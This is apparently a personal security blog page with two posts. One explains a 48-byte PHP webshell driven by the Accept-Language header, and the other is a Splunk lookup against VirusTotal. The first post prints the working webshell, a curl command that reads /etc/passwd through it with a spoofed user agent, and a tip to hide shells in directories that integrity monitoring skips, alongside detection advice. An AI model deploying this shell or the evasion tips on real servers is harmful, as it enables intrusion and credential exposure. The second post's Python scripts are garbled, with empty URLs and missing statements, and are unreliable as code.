Monday, September 2, 2013

GET your Webshell While Evading Detection

Recently I came across a webshell that was a bit different from the others. Besides being only 48 bytes it uses the 'Accept-Language' http header field for accepting remote commands. The webshell on the server would only need to contain: <?php passthru(getenv("HTTP_ACCEPT_LANGUAGE"))?>

There are a few benefits to this from the attackers perspective. The main benefit is that utilizes HTTP GET which is quite difficult to find anomalies from the http logs, even with Splunk (unless the attacker calls the file webshell.php). I would bet most people would be on the lookout for http posts to a new file versus http get. With Splunk you can monitor and alert on http POST deviations, but with GET it seem that strategy won't cut it. 

Using curl we GET the request 48bytes.php and add in the Accept-Language header followed by the shell command of 'cat /etc/passwd'.  Additionaly I added in the -A to use a less conspicuous user agent.
curl -H "Accept-Language: cat /etc/passwd" -A "Mozilla/5.0 (Macintosh; Intel Mac OS X 13.3; rv:72.0) Gecko/20132121 Firefox/19.0"

When requesting the webshell, the Apache logs will show (standard CentOS 6 install):
 [01/Sep/2013:13:02:37 -0700] "GET /webshells/48bytes.php HTTP/1.1" 200 1973 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:23.0) Gecko/20100101 Firefox/23.0"

The response from the web server, as you would expect looks like this:

 Running tcpdump we can see the following traffic flow:

Following the tcp stream in wireshark gives us this view: (notice the Accept-Language: cat /etc/passwd)

So how do the good guys detect this?

I was hoping that Bro Network Security Monitor would help, however by default it doesn't log the Accept-Language string (It logs which headers are used).  Even if the majority of sites in your enterprise use TLS it's probably not a bad idea to enable the collection of header data to your web servers.  If you're sending the Bro logs to Splunk (with header data) you can create an alert to fire on key words, length etc.

Bro_http log of 'cat /etc/passwd' via webshell:

Using Snort also has the same drawback of missing out on TLS connections. If you are using a Proxy and have a tap into the unencrypted traffic this would be an ideal solution (along with using Bro). 

Using Google Rapid Response (GRR) you can launch a hunt on your web servers (or all servers for that matter) for files containing 'passthru' and '<?php'. Of course prevention is much easier to do then detecting it.

With OSSEC file integrity monitor you will have a file based method of detection depending on the site content and structure. Since most people exclude temp directories from file integrity monitor, its the best place to put a webshell ;)


If you have a public facing server without grsecurity, yer gonna have a bad time. In my opinion grsec with a well defined policy is the first place to start.  Well maybe the first place start is having the admins disable exec(), passthru() and system()! Good luck with that :)

Monday, May 27, 2013

Splunking Virustotal PoC

Doing malware analysis and research on a frequent basis I'm all about trying to make life easier, getting information faster. Bro, Splunk and Virustotal are tools that I'm constantly interfacing with. I thought it would be awesome if I could use Virustotal's api to search md5's gathered from Bro logs on Splunk. These three tools provide an amazing amount of useful information, with their powers combined I hoped it would make life a bit easier and help me connect the dots faster.


To test this concept I'm using CentOS and the limited version of Splunk. Beyond that you will also need:

  • Register with Virustotal to get an API key.
  • Python Development libraries
  • Install Splunk and have log source containing md5's (Bro!)

Splunk Configuration

To get started we are going to create a generic Splunk app and copy over our python scripts. Next we configure the Splunk lookups and test it out.

Create a new Splunk App, choose "Manage apps..."
Click create app

Add in the name, location of app and save.

Now would be a great time to import some logs containing md5's or setup Bro and acquire them. You will want to extract the md5 field from your logs as well, or you can use rex on the fly.

Python Scripts

Since Splunk's version of Python is bare bones you'll need to create a wrapper that calls the actual script. Searching Splunk's site I found that someone had created a script already to do just this.

Save this to /opt/splunk/etc/app/vtLookup/bin/
import os, sys
for envvar in ("PYTHONPATH", "LD_LIBRARY_PATH"):
if envvar in os.environ:
del os.environ[envvar]
python_executable = "/usr/bin/python"
real_script = "/opt/splunk/etc/apps/vtlookup/bin/"
os.execv(python_executable, [ python_executable, real_script ] + sys.argv[1:])
Now we create the script that takes the md5 from Splunk and does a lookup using Virustotals API.

Save this to /opt/splunk/etc/app/vtLookup/bin/ Don't forget to enter in the API key.
import csv,sys,urllib,urllib2

def lookup(md5):
    response = urllib2.urlopen('', \
      'apikey=Enter in your API key here&resource=' + md5)
    lines =
    return lines
    return ''

def main():
  if len(sys.argv) != 3:
    print "python MD5 VT"

  md5f = sys.argv[1]
  vtf = sys.argv[2]
  r = csv.reader(sys.stdin)
  w = None
  header = []
  first = True

  for line in r:
    if first:
      header = line
      if vtf not in header or md5f not in header:
        print "missing vt or md5 field"
      w = csv.DictWriter(sys.stdout, header)
      first = False

    result = {}
    i = 0
    while i < len(header):
      if i < len(line):
        result[header[i]] = line[i]
        result[header[i]] = ''
      i += 1

    if len(result[md5f]) and len(result[vtf]):
    elif len(result[md5f]):
      result[vtf] = lookup(result[md5f])
      if len(result[vtf]):


Next we tell Splunk the location of the scripts and create a lookup. In the Splunk manager select Lookups:

Then Lookup definitions: 

The 'Type' is external since we are calling an external script. The command is ' md5 vt', supported fields are md5, vt. Once you have that entered in, click Save.


Now lets test it out and see if it works. The query to test was to call one known good md5 and pass it to the lookup script. The first part is specifing fields that are not "-" then send it to top and only give me one result back. The part we are concerned with is "lookup vtLookup md5".

Running the search we see the new field "vt" with the response from Virustotal. Great! but I really want to search all time and find out some trends.

When I bump of the search to return 10 responses we start seeing no response from Virustotal since our api call requests are limited. Boooo. 

The limitations set by Virustotal doesn't make this very practical in Splunk. It was fun to try and maybe this will come in handy in the future.

Edit: Python scripts added to git repo